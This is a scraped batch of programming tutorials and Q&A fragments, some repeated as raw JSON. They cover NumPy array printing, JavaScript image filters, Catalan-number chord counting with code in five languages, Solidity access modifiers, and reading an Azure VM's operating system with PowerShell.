"s": 2034, "text": "0" }, { "code": null, "e": 2062, "s": 2036, "text": "Debojyoti Sinha1 year ago" }, { "code": null, "e": 2078, "s": 2062, "text": "Debojyoti Sinha" }, { "code": null, "e": 2127, "s": 2078, "text": "Correct Answer.Correct AnswerExecution Time:0.01" }, { "code": null, "e": 2195, "s": 2127, "text": "void swapper(Person **obj1, Person **obj2){ swap(*obj1, *obj2);}" }, { "code": null, "e": 2197, "s": 2195, "text": "0" }, { "code": null, "e": 2220, "s": 2197, "text": "Amar Prakash1 year ago" }, { "code": null, "e": 2233, "s": 2220, "text": "Amar Prakash" }, { "code": null, "e": 2360, "s": 2233, "text": "void swapper(Person **obj1, Person **obj2){ //Your code here Person temp = **obj1; **obj1 = **obj2; **obj2 = temp;" }, { "code": null, "e": 2362, "s": 2360, "text": "}" }, { "code": null, "e": 2364, "s": 2362, "text": "0" }, { "code": null, "e": 2388, "s": 2364, "text": "Grove Street2 years ago" }, { "code": null, "e": 2401, "s": 2388, "text": "Grove Street" }, { "code": null, "e": 2420, "s": 2401, "text": "swap(*obj1,*obj2);" }, { "code": null, "e": 2422, "s": 2420, "text": "0" }, { "code": null, "e": 2447, "s": 2422, "text": "Purvesh Patil2 years ago" }, { "code": null, "e": 2461, "s": 2447, "text": "Purvesh Patil" }, { "code": null, "e": 2527, "s": 2461, "text": "Person *temp; temp = *obj1; *obj1 = *obj2; *obj2 = temp;" }, { "code": null, "e": 2673, "s": 2527, "text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?" }, { "code": null, "e": 2709, "s": 2673, "text": " Login to access your submissions. " }, { "code": null, "e": 2719, "s": 2709, "text": "\nProblem\n" }, { "code": null, "e": 2729, "s": 2719, "text": "\nContest\n" }, { "code": null, "e": 2792, "s": 2729, "text": "Reset the IDE using the second button on the top right corner." }, { "code": null, "e": 2940, "s": 2792, "text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values." }, { "code": null, "e": 3148, "s": 2940, "text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints." }, { "code": null, "e": 3254, "s": 3148, "text": "You can access the hints to get an idea about what is expected of you as well as the final solution code." } ]
How to Print a Full NumPy Array Without Truncation | Towards Data Science
When printing out NumPy arrays, the output may be truncated by default due to the large number of elements. While in most of the cases this isn’t a problem, you may sometimes have to print out the array in full in order to be able to inspect the full content. In today’s short guide we will explore a couple of different ways for printing NumPy arrays to the standard output without any sort of truncation. Specifically, we will showcase how to do so using set_printoptions method using printoptions context manager by converting the NumPy array into a list of lists First, let’s create an example NumPy array that we’ll reference throughout this short article in order to demonstrate a few concepts. import numpy as np# Create a dummy NumPy array consisting of 250 rows and 40 columnsmy_arr = np.arange(10000).reshape(250, 40)print(my_arr)array([[ 0, 1, 2, ..., 37, 38, 39], [ 40, 41, 42, ..., 77, 78, 79], [ 80, 81, 82, ..., 117, 118, 119], ..., [9880, 9881, 9882, ..., 9917, 9918, 9919], [9920, 9921, 9922, ..., 9957, 9958, 9959], [9960, 9961, 9962, ..., 9997, 9998, 9999]]) As you can see above, both the columns as well as the rows of the numpy array are truncated when printed out to standard output. numpy.set_printoptions is a method used to configure display options such as the way arrays, floating point numbers and other numpy objects are displayed to the standard output. One of the parameters accepted in set_printoptions is threshold that corresponds to the total number of array elements that trigger summarisation over full representation. By default this value is set to 1000. In order to trigger the full representation without summarisation, you should set threshold to sys.maxsize. import sysimport numpy as npnp.set_printoptions(threshold=sys.maxsize) Additionally, if you also want to tweak the precision for floating point output by specifying the precision argument when calling set_printoptions(). In many occasions, you may want to fully print only one or just a few numpy arrays and then use the default options. In this case, a Context Manager is a quite useful construct that can help you do exactly this. NumPy comes with a Context Manager called np.printoptions that helps you set print options within the scope of the with block and then restored the old options at the end. import sysimport numpy as npwith np.printoptions(threshold=sys.maxsize): print(my_arr) Another alternative to the previous approaches is to actually convert the NumPy array into a list using numpy.ndarray.tolist() method. import numpy as npprint(my_arr.tolist()) In today’s short guide we explore a few different ways for printing out NumPy arrays in full. By default, arrays printed in standard output might be truncated (depending on their size/elements). In many cases, you may want to view all the elements in full and thus the options introduced in this article could be a good reference that will help you do so. Become a member and read every story on Medium. Your membership fee directly supports me and other writers you read. You’ll also get full access to every story on Medium. gmyrianthous.medium.com You may also like
[ { "code": null, "e": 431, "s": 171, "text": "When printing out NumPy arrays, the output may be truncated by default due to the large number of elements. While in most of the cases this isn’t a problem, you may sometimes have to print out the array in full in order to be able to inspect the full content." }, { "code": null, "e": 622, "s": 431, "text": "In today’s short guide we will explore a couple of different ways for printing NumPy arrays to the standard output without any sort of truncation. Specifically, we will showcase how to do so" }, { "code": null, "e": 652, "s": 622, "text": "using set_printoptions method" }, { "code": null, "e": 687, "s": 652, "text": "using printoptions context manager" }, { "code": null, "e": 738, "s": 687, "text": "by converting the NumPy array into a list of lists" }, { "code": null, "e": 872, "s": 738, "text": "First, let’s create an example NumPy array that we’ll reference throughout this short article in order to demonstrate a few concepts." }, { "code": null, "e": 1318, "s": 872, "text": "import numpy as np# Create a dummy NumPy array consisting of 250 rows and 40 columnsmy_arr = np.arange(10000).reshape(250, 40)print(my_arr)array([[ 0, 1, 2, ..., 37, 38, 39], [ 40, 41, 42, ..., 77, 78, 79], [ 80, 81, 82, ..., 117, 118, 119], ..., [9880, 9881, 9882, ..., 9917, 9918, 9919], [9920, 9921, 9922, ..., 9957, 9958, 9959], [9960, 9961, 9962, ..., 9997, 9998, 9999]])" }, { "code": null, "e": 1447, "s": 1318, "text": "As you can see above, both the columns as well as the rows of the numpy array are truncated when printed out to standard output." }, { "code": null, "e": 1625, "s": 1447, "text": "numpy.set_printoptions is a method used to configure display options such as the way arrays, floating point numbers and other numpy objects are displayed to the standard output." }, { "code": null, "e": 1943, "s": 1625, "text": "One of the parameters accepted in set_printoptions is threshold that corresponds to the total number of array elements that trigger summarisation over full representation. By default this value is set to 1000. In order to trigger the full representation without summarisation, you should set threshold to sys.maxsize." }, { "code": null, "e": 2014, "s": 1943, "text": "import sysimport numpy as npnp.set_printoptions(threshold=sys.maxsize)" }, { "code": null, "e": 2164, "s": 2014, "text": "Additionally, if you also want to tweak the precision for floating point output by specifying the precision argument when calling set_printoptions()." }, { "code": null, "e": 2376, "s": 2164, "text": "In many occasions, you may want to fully print only one or just a few numpy arrays and then use the default options. In this case, a Context Manager is a quite useful construct that can help you do exactly this." }, { "code": null, "e": 2548, "s": 2376, "text": "NumPy comes with a Context Manager called np.printoptions that helps you set print options within the scope of the with block and then restored the old options at the end." }, { "code": null, "e": 2638, "s": 2548, "text": "import sysimport numpy as npwith np.printoptions(threshold=sys.maxsize): print(my_arr)" }, { "code": null, "e": 2773, "s": 2638, "text": "Another alternative to the previous approaches is to actually convert the NumPy array into a list using numpy.ndarray.tolist() method." }, { "code": null, "e": 2814, "s": 2773, "text": "import numpy as npprint(my_arr.tolist())" }, { "code": null, "e": 3009, "s": 2814, "text": "In today’s short guide we explore a few different ways for printing out NumPy arrays in full. By default, arrays printed in standard output might be truncated (depending on their size/elements)." }, { "code": null, "e": 3170, "s": 3009, "text": "In many cases, you may want to view all the elements in full and thus the options introduced in this article could be a good reference that will help you do so." }, { "code": null, "e": 3341, "s": 3170, "text": "Become a member and read every story on Medium. Your membership fee directly supports me and other writers you read. You’ll also get full access to every story on Medium." }, { "code": null, "e": 3365, "s": 3341, "text": "gmyrianthous.medium.com" } ]
How to set the brightness and contrast of an image with JavaScript?
To set the brightness, use the brightness property and for contrast, use the contrast property. You can try to run the following code to use image filters with JavaScript − Live Demo <!DOCTYPE html> <html> <body> <p>Click below to change the brightness and contrast of the image.</p> <button onclick="display()">Edit Image</button><br><br> <img id="myID" src="https://www.tutorialspoint.com/videotutorials/images/tutorial_library_home.jpg" alt="Tutorials Library" width="320" height="320"> <script> function display() { document.getElementById("myID").style.filter = "brightness(50%)"; document.getElementById("myID").style.filter = "contrast(50%)"; } </script> </body> </html>
[ { "code": null, "e": 1158, "s": 1062, "text": "To set the brightness, use the brightness property and for contrast, use the contrast property." }, { "code": null, "e": 1235, "s": 1158, "text": "You can try to run the following code to use image filters with JavaScript −" }, { "code": null, "e": 1245, "s": 1235, "text": "Live Demo" }, { "code": null, "e": 1827, "s": 1245, "text": "<!DOCTYPE html>\n<html>\n <body>\n <p>Click below to change the brightness and contrast of the image.</p>\n <button onclick=\"display()\">Edit Image</button><br><br>\n <img id=\"myID\" src=\"https://www.tutorialspoint.com/videotutorials/images/tutorial_library_home.jpg\"\n alt=\"Tutorials Library\" width=\"320\" height=\"320\">\n <script>\n function display() {\n document.getElementById(\"myID\").style.filter = \"brightness(50%)\";\n document.getElementById(\"myID\").style.filter = \"contrast(50%)\";\n }\n </script>\n </body>\n</html>" } ]
Count ways to divide circle using N non-intersecting chord | Set-2 - GeeksforGeeks
07 Dec, 2021 Given a number N. The task is to find the number of ways you can draw N chords in a circle with 2*N points such that no two chords intersect. Two ways are different if there exists a chord that is present in one way and not in other. As the answer could be large print it modulo 10^9+7. Examples: Input : N = 2 Output : 2 If points are numbered 1 to 4 in clockwise direction, then different ways to draw chords are: {(1-2), (3-4)} and {(1-4), (2-3)} Input :N = 1 Output : 1 Approach: If we draw a chord between any two points, the current set of points gets broken into two smaller sets S_1 and S_2. If we draw a chord from a point in S_1 to a point in S_2, it will surely intersect the chord we’ve just drawn. So, we can arrive at a recurrence that: Ways(n) = sum[i = 0 to n-1] { Ways(i)*Ways(n-i-1) }. The above recurrence relation is similar to the recurrence relation for nth Catalan number which is equal to 2nCn / (n+1). Instead of dividing the numeration with the denomination, multiply the numerator with the modulo inverse of the denominator as division is not allowed in the modulo domain. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ implementation of the above approach#include <bits/stdc++.h>using namespace std; // Function to calculate x^y %mod efficientlyint power(long long x, int y, int mod){ // Initialize the answer long long res = 1; while (y) { // If power is odd if (y & 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return (int)(res % mod);} // Function to calculate ncr%mod efficientlyint ncr(int n, int r, int mod){ // Initialize the answer long long res = 1; // Calculate ncr in O(r) for (int i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of factor of denominator int inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return (int)(res%mod);} // Function to return the number// of non intersecting chordsint NoOfChords(int A){ // define mod value int mod = 1e9 + 7; // Value of C(2n, n) long long ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) int inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return (int)(ans%mod);} // Driver codeint main(){ int N = 2; // Function call cout << NoOfChords(N); return 0;} // Java implementation of the approachclass GFG{ // Function to calculate x^y %mod efficiently static int power(long x, int y, int mod) { // Initialize the answer long res = 1; while (y != 0) { // If power is odd if ((y & 1) == 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return (int)(res % mod); } // Function to calculate ncr%mod efficiently static int ncr(int n, int r, int mod) { // Initialize the answer long res = 1; // Calculate ncr in O(r) for (int i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of // factor of denominator int inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return (int)(res % mod); } // Function to return the number // of non intersecting chords static int NoOfChords(int A) { // define mod value int mod = (int)(1e9 + 7); // Value of C(2n, n) long ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) int inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return (int)(ans % mod); } // Driver code public static void main(String[] args) { int N = 2; // Function call System.out.println(NoOfChords(N)); }} // This code is contributed by 29AjayKumar # Python3 implementation of the above approach # Function to calculate x^y %mod efficientlydef power(x, y, mod): # Initialize the answer res = 1 while (y): # If power is odd if (y & 1): # Update the answer res = (res * x) % mod # Square the base and half the exponent x = (x * x) % mod y = (y >> 1) # Return the value return (res % mod) # Function to calculate ncr%mod efficientlydef ncr(n, r, mod): # Initialize the answer res = 1 # Calculate ncr in O(r) for i in range(1,r+1): # Multiply with the numerator factor res = (res * (n - i + 1)) % mod # Calculate the inverse of factor of denominator inv = power(i, mod - 2, mod) # Multiply with inverse value res = (res * inv) % mod # Return answer value return (res%mod) # Function to return the number# of non intersecting chordsdef NoOfChords(A): # define mod value mod = 10**9 + 7 # Value of C(2n, n) ans = ncr(2 * A, A, mod) # Modulo inverse of (n+1) inv = power(A + 1, mod - 2, mod) # Multiply with modulo inverse ans = (ans * inv) % mod # Return the answer return (ans%mod) # Driver code N = 2 # Function callprint(NoOfChords(N)) # This code is contributed by mohit kumar 29 // Java implementation of the above approachusing System; class GFG{ // Function to calculate x^y %mod efficiently static int power(long x, int y, int mod) { // Initialize the answer long res = 1; while (y != 0) { // If power is odd if ((y & 1) == 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return (int)(res % mod); } // Function to calculate ncr%mod efficiently static int ncr(int n, int r, int mod) { // Initialize the answer long res = 1; // Calculate ncr in O(r) for (int i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of factor of denominator int inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return (int)(res % mod); } // Function to return the number // of non intersecting chords static int NoOfChords(int A) { // define mod value int mod = (int)(1e9 + 7); // Value of C(2n, n) long ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) int inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return (int)(ans % mod); } // Driver code public static void Main () { int N = 2; // Function call Console.WriteLine(NoOfChords(N)); }} // This code is contributed by AnkitRai01 <script> // JavaScript implementation of the approach // Function to calculate x^y %mod efficientlyfunction power(x , y , mod){ // Initialize the answer var res = 1; while (y != 0) { // If power is odd if ((y & 1) == 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return parseInt(res % mod);} // Function to calculate ncr%mod efficientlyfunction ncr(n , r , mod){ // Initialize the answer var res = 1; // Calculate ncr in O(r) for (var i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of // factor of denominator var inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return parseInt(res % mod);} // Function to return the number// of non intersecting chordsfunction NoOfChords( A){ // define mod value var mod = parseInt(7); // Value of C(2n, n) var ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) var inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return parseInt(ans % mod);} // Driver codevar N = 2; // Function calldocument.write(NoOfChords(N)); // This code is contributed by 29AjayKumar </script> 2 Time complexity : O(N*log(mod)) mohit kumar 29 ankthon 29AjayKumar simmytarika5 catalan Combinatorial Greedy Mathematical Greedy Mathematical Combinatorial Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Print all subsets of given size of a set Python program to get all subsets of given size of a set Make all combinations of size k Find all distinct subsets of a given set using BitMasking Approach Count Derangements (Permutation such that no element appears in its original position) Dijkstra's shortest path algorithm | Greedy Algo-7 Program for array rotation Prim’s Minimum Spanning Tree (MST) | Greedy Algo-5 Kruskal’s Minimum Spanning Tree Algorithm | Greedy Algo-2 Huffman Coding | Greedy Algo-3
[ { "code": null, "e": 24962, "s": 24934, "text": "\n07 Dec, 2021" }, { "code": null, "e": 25249, "s": 24962, "text": "Given a number N. The task is to find the number of ways you can draw N chords in a circle with 2*N points such that no two chords intersect. Two ways are different if there exists a chord that is present in one way and not in other. As the answer could be large print it modulo 10^9+7." }, { "code": null, "e": 25260, "s": 25249, "text": "Examples: " }, { "code": null, "e": 25413, "s": 25260, "text": "Input : N = 2 Output : 2 If points are numbered 1 to 4 in clockwise direction, then different ways to draw chords are: {(1-2), (3-4)} and {(1-4), (2-3)}" }, { "code": null, "e": 25438, "s": 25413, "text": "Input :N = 1 Output : 1 " }, { "code": null, "e": 25715, "s": 25438, "text": "Approach: If we draw a chord between any two points, the current set of points gets broken into two smaller sets S_1 and S_2. If we draw a chord from a point in S_1 to a point in S_2, it will surely intersect the chord we’ve just drawn. So, we can arrive at a recurrence that:" }, { "code": null, "e": 25770, "s": 25715, "text": "Ways(n) = sum[i = 0 to n-1] { Ways(i)*Ways(n-i-1) }. " }, { "code": null, "e": 26066, "s": 25770, "text": "The above recurrence relation is similar to the recurrence relation for nth Catalan number which is equal to 2nCn / (n+1). Instead of dividing the numeration with the denomination, multiply the numerator with the modulo inverse of the denominator as division is not allowed in the modulo domain." }, { "code": null, "e": 26119, "s": 26066, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 26123, "s": 26119, "text": "C++" }, { "code": null, "e": 26128, "s": 26123, "text": "Java" }, { "code": null, "e": 26136, "s": 26128, "text": "Python3" }, { "code": null, "e": 26139, "s": 26136, "text": "C#" }, { "code": null, "e": 26150, "s": 26139, "text": "Javascript" }, { "code": "// C++ implementation of the above approach#include <bits/stdc++.h>using namespace std; // Function to calculate x^y %mod efficientlyint power(long long x, int y, int mod){ // Initialize the answer long long res = 1; while (y) { // If power is odd if (y & 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return (int)(res % mod);} // Function to calculate ncr%mod efficientlyint ncr(int n, int r, int mod){ // Initialize the answer long long res = 1; // Calculate ncr in O(r) for (int i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of factor of denominator int inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return (int)(res%mod);} // Function to return the number// of non intersecting chordsint NoOfChords(int A){ // define mod value int mod = 1e9 + 7; // Value of C(2n, n) long long ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) int inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return (int)(ans%mod);} // Driver codeint main(){ int N = 2; // Function call cout << NoOfChords(N); return 0;}", "e": 27654, "s": 26150, "text": null }, { "code": "// Java implementation of the approachclass GFG{ // Function to calculate x^y %mod efficiently static int power(long x, int y, int mod) { // Initialize the answer long res = 1; while (y != 0) { // If power is odd if ((y & 1) == 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return (int)(res % mod); } // Function to calculate ncr%mod efficiently static int ncr(int n, int r, int mod) { // Initialize the answer long res = 1; // Calculate ncr in O(r) for (int i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of // factor of denominator int inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return (int)(res % mod); } // Function to return the number // of non intersecting chords static int NoOfChords(int A) { // define mod value int mod = (int)(1e9 + 7); // Value of C(2n, n) long ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) int inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return (int)(ans % mod); } // Driver code public static void main(String[] args) { int N = 2; // Function call System.out.println(NoOfChords(N)); }} // This code is contributed by 29AjayKumar", "e": 29538, "s": 27654, "text": null }, { "code": "# Python3 implementation of the above approach # Function to calculate x^y %mod efficientlydef power(x, y, mod): # Initialize the answer res = 1 while (y): # If power is odd if (y & 1): # Update the answer res = (res * x) % mod # Square the base and half the exponent x = (x * x) % mod y = (y >> 1) # Return the value return (res % mod) # Function to calculate ncr%mod efficientlydef ncr(n, r, mod): # Initialize the answer res = 1 # Calculate ncr in O(r) for i in range(1,r+1): # Multiply with the numerator factor res = (res * (n - i + 1)) % mod # Calculate the inverse of factor of denominator inv = power(i, mod - 2, mod) # Multiply with inverse value res = (res * inv) % mod # Return answer value return (res%mod) # Function to return the number# of non intersecting chordsdef NoOfChords(A): # define mod value mod = 10**9 + 7 # Value of C(2n, n) ans = ncr(2 * A, A, mod) # Modulo inverse of (n+1) inv = power(A + 1, mod - 2, mod) # Multiply with modulo inverse ans = (ans * inv) % mod # Return the answer return (ans%mod) # Driver code N = 2 # Function callprint(NoOfChords(N)) # This code is contributed by mohit kumar 29", "e": 30850, "s": 29538, "text": null }, { "code": "// Java implementation of the above approachusing System; class GFG{ // Function to calculate x^y %mod efficiently static int power(long x, int y, int mod) { // Initialize the answer long res = 1; while (y != 0) { // If power is odd if ((y & 1) == 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return (int)(res % mod); } // Function to calculate ncr%mod efficiently static int ncr(int n, int r, int mod) { // Initialize the answer long res = 1; // Calculate ncr in O(r) for (int i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of factor of denominator int inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return (int)(res % mod); } // Function to return the number // of non intersecting chords static int NoOfChords(int A) { // define mod value int mod = (int)(1e9 + 7); // Value of C(2n, n) long ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) int inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return (int)(ans % mod); } // Driver code public static void Main () { int N = 2; // Function call Console.WriteLine(NoOfChords(N)); }} // This code is contributed by AnkitRai01", "e": 32730, "s": 30850, "text": null }, { "code": "<script> // JavaScript implementation of the approach // Function to calculate x^y %mod efficientlyfunction power(x , y , mod){ // Initialize the answer var res = 1; while (y != 0) { // If power is odd if ((y & 1) == 1) // Update the answer res = (res * x) % mod; // Square the base and half the exponent x = (x * x) % mod; y = (y >> 1); } // Return the value return parseInt(res % mod);} // Function to calculate ncr%mod efficientlyfunction ncr(n , r , mod){ // Initialize the answer var res = 1; // Calculate ncr in O(r) for (var i = 1; i <= r; i += 1) { // Multiply with the numerator factor res = (res * (n - i + 1)) % mod; // Calculate the inverse of // factor of denominator var inv = power(i, mod - 2, mod); // Multiply with inverse value res = (res * inv) % mod; } // Return answer value return parseInt(res % mod);} // Function to return the number// of non intersecting chordsfunction NoOfChords( A){ // define mod value var mod = parseInt(7); // Value of C(2n, n) var ans = ncr(2 * A, A, mod); // Modulo inverse of (n+1) var inv = power(A + 1, mod - 2, mod); // Multiply with modulo inverse ans = (ans * inv) % mod; // Return the answer return parseInt(ans % mod);} // Driver codevar N = 2; // Function calldocument.write(NoOfChords(N)); // This code is contributed by 29AjayKumar </script>", "e": 34231, "s": 32730, "text": null }, { "code": null, "e": 34233, "s": 34231, "text": "2" }, { "code": null, "e": 34268, "s": 34235, "text": "Time complexity : O(N*log(mod)) " }, { "code": null, "e": 34283, "s": 34268, "text": "mohit kumar 29" }, { "code": null, "e": 34291, "s": 34283, "text": "ankthon" }, { "code": null, "e": 34303, "s": 34291, "text": "29AjayKumar" }, { "code": null, "e": 34316, "s": 34303, "text": "simmytarika5" }, { "code": null, "e": 34324, "s": 34316, "text": "catalan" }, { "code": null, "e": 34338, "s": 34324, "text": "Combinatorial" }, { "code": null, "e": 34345, "s": 34338, "text": "Greedy" }, { "code": null, "e": 34358, "s": 34345, "text": "Mathematical" }, { "code": null, "e": 34365, "s": 34358, "text": "Greedy" }, { "code": null, "e": 34378, "s": 34365, "text": "Mathematical" }, { "code": null, "e": 34392, "s": 34378, "text": "Combinatorial" }, { "code": null, "e": 34490, "s": 34392, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34499, "s": 34490, "text": "Comments" }, { "code": null, "e": 34512, "s": 34499, "text": "Old Comments" }, { "code": null, "e": 34553, "s": 34512, "text": "Print all subsets of given size of a set" }, { "code": null, "e": 34610, "s": 34553, "text": "Python program to get all subsets of given size of a set" }, { "code": null, "e": 34642, "s": 34610, "text": "Make all combinations of size k" }, { "code": null, "e": 34709, "s": 34642, "text": "Find all distinct subsets of a given set using BitMasking Approach" }, { "code": null, "e": 34796, "s": 34709, "text": "Count Derangements (Permutation such that no element appears in its original position)" }, { "code": null, "e": 34847, "s": 34796, "text": "Dijkstra's shortest path algorithm | Greedy Algo-7" }, { "code": null, "e": 34874, "s": 34847, "text": "Program for array rotation" }, { "code": null, "e": 34925, "s": 34874, "text": "Prim’s Minimum Spanning Tree (MST) | Greedy Algo-5" }, { "code": null, "e": 34983, "s": 34925, "text": "Kruskal’s Minimum Spanning Tree Algorithm | Greedy Algo-2" } ]
Solidity - Restricted Access
Restricted Access to a Contract is a common practice. By Default, a contract state is read-only unless it is specified as public. We can restrict who can modify the contract's state or call a contract's functions using modifiers. We will create and use multiple modifiers as explained below − onlyBy − once used on a function then only the mentioned caller can call this function. onlyBy − once used on a function then only the mentioned caller can call this function. onlyAfter − once used on a function then that function can be called after certain time period. onlyAfter − once used on a function then that function can be called after certain time period. costs − once used on a function then caller can call this function only if certain value is provided. costs − once used on a function then caller can call this function only if certain value is provided. pragma solidity ^0.5.0; contract Test { address public owner = msg.sender; uint public creationTime = now; modifier onlyBy(address _account) { require( msg.sender == _account, "Sender not authorized." ); _; } function changeOwner(address _newOwner) public onlyBy(owner) { owner = _newOwner; } modifier onlyAfter(uint _time) { require( now >= _time, "Function called too early." ); _; } function disown() public onlyBy(owner) onlyAfter(creationTime + 6 weeks) { delete owner; } modifier costs(uint _amount) { require( msg.value >= _amount, "Not enough Ether provided." ); _; if (msg.value > _amount) msg.sender.transfer(msg.value - _amount); } function forceOwnerChange(address _newOwner) public payable costs(200 ether) { owner = _newOwner; if (uint(owner) & 0 == 1) return; } } 38 Lectures 4.5 hours Abhilash Nelson 62 Lectures 8.5 hours Frahaan Hussain 31 Lectures 3.5 hours Swapnil Kole Print Add Notes Bookmark this page
[ { "code": null, "e": 2685, "s": 2555, "text": "Restricted Access to a Contract is a common practice. By Default, a contract state is read-only unless it is specified as public." }, { "code": null, "e": 2848, "s": 2685, "text": "We can restrict who can modify the contract's state or call a contract's functions using modifiers. We will create and use multiple modifiers as explained below −" }, { "code": null, "e": 2936, "s": 2848, "text": "onlyBy − once used on a function then only the mentioned caller can call this function." }, { "code": null, "e": 3024, "s": 2936, "text": "onlyBy − once used on a function then only the mentioned caller can call this function." }, { "code": null, "e": 3120, "s": 3024, "text": "onlyAfter − once used on a function then that function can be called after certain time period." }, { "code": null, "e": 3216, "s": 3120, "text": "onlyAfter − once used on a function then that function can be called after certain time period." }, { "code": null, "e": 3318, "s": 3216, "text": "costs − once used on a function then caller can call this function only if certain value is provided." }, { "code": null, "e": 3420, "s": 3318, "text": "costs − once used on a function then caller can call this function only if certain value is provided." }, { "code": null, "e": 4398, "s": 3420, "text": "pragma solidity ^0.5.0;\n\ncontract Test {\n address public owner = msg.sender;\n uint public creationTime = now;\n\n modifier onlyBy(address _account) {\n require(\n msg.sender == _account,\n \"Sender not authorized.\"\n );\n _;\n }\n function changeOwner(address _newOwner) public onlyBy(owner) {\n owner = _newOwner;\n }\n modifier onlyAfter(uint _time) {\n require(\n now >= _time,\n \"Function called too early.\"\n );\n _;\n }\n function disown() public onlyBy(owner) onlyAfter(creationTime + 6 weeks) {\n delete owner;\n }\n modifier costs(uint _amount) {\n require(\n msg.value >= _amount,\n \"Not enough Ether provided.\"\n );\n _;\n if (msg.value > _amount)\n msg.sender.transfer(msg.value - _amount);\n }\n function forceOwnerChange(address _newOwner) public payable costs(200 ether) {\n owner = _newOwner;\n if (uint(owner) & 0 == 1) return; \n }\n}" }, { "code": null, "e": 4433, "s": 4398, "text": "\n 38 Lectures \n 4.5 hours \n" }, { "code": null, "e": 4450, "s": 4433, "text": " Abhilash Nelson" }, { "code": null, "e": 4485, "s": 4450, "text": "\n 62 Lectures \n 8.5 hours \n" }, { "code": null, "e": 4502, "s": 4485, "text": " Frahaan Hussain" }, { "code": null, "e": 4537, "s": 4502, "text": "\n 31 Lectures \n 3.5 hours \n" }, { "code": null, "e": 4551, "s": 4537, "text": " Swapnil Kole" }, { "code": null, "e": 4558, "s": 4551, "text": " Print" }, { "code": null, "e": 4569, "s": 4558, "text": " Add Notes" } ]
How to retrieve the Operating system of the Azure VM using PowerShell?
To retrieve the OS details of the Azure VM, we need to use the Get-AzVM command. Get-AzVM -VMName TestMachine2k16 When you run the above command, it retrieves the VM TestMachine2k16 information and there is an OSType property which shows that if the VM’s OS is Linux or Windows, or any other type. But when you select the OSType, you won’t get anything. See below. PS C:\> Get-AzVM -VMName TestMachine2k16 | Select OStype OStype ------ Because this property is a part of another property and hence can’t be accessed directly. When you expose the full properties of the VM, you will get the StorageProfile, which contains the OS information. PS C:\> $vm = Get-AzVM -VMName TestMachine2k16 PS C:\> $vm | fl * Use the below command, PS C:\> $vm.StorageProfile.ImageReference Publisher : MicrosoftWindowsServer Offer : WindowsServer Sku : 2016-Datacenter Version : latest ExactVersion : 14393.4225.2102030345 Id : So here we got both the Server Edition and the version. PS C:\> $osver = $vm.StorageProfile.ImageReference.Offer + " $($vm.StorageProfile.ImageReference.Sku)" PS C:\> $osver WindowsServer 2016-Datacenter
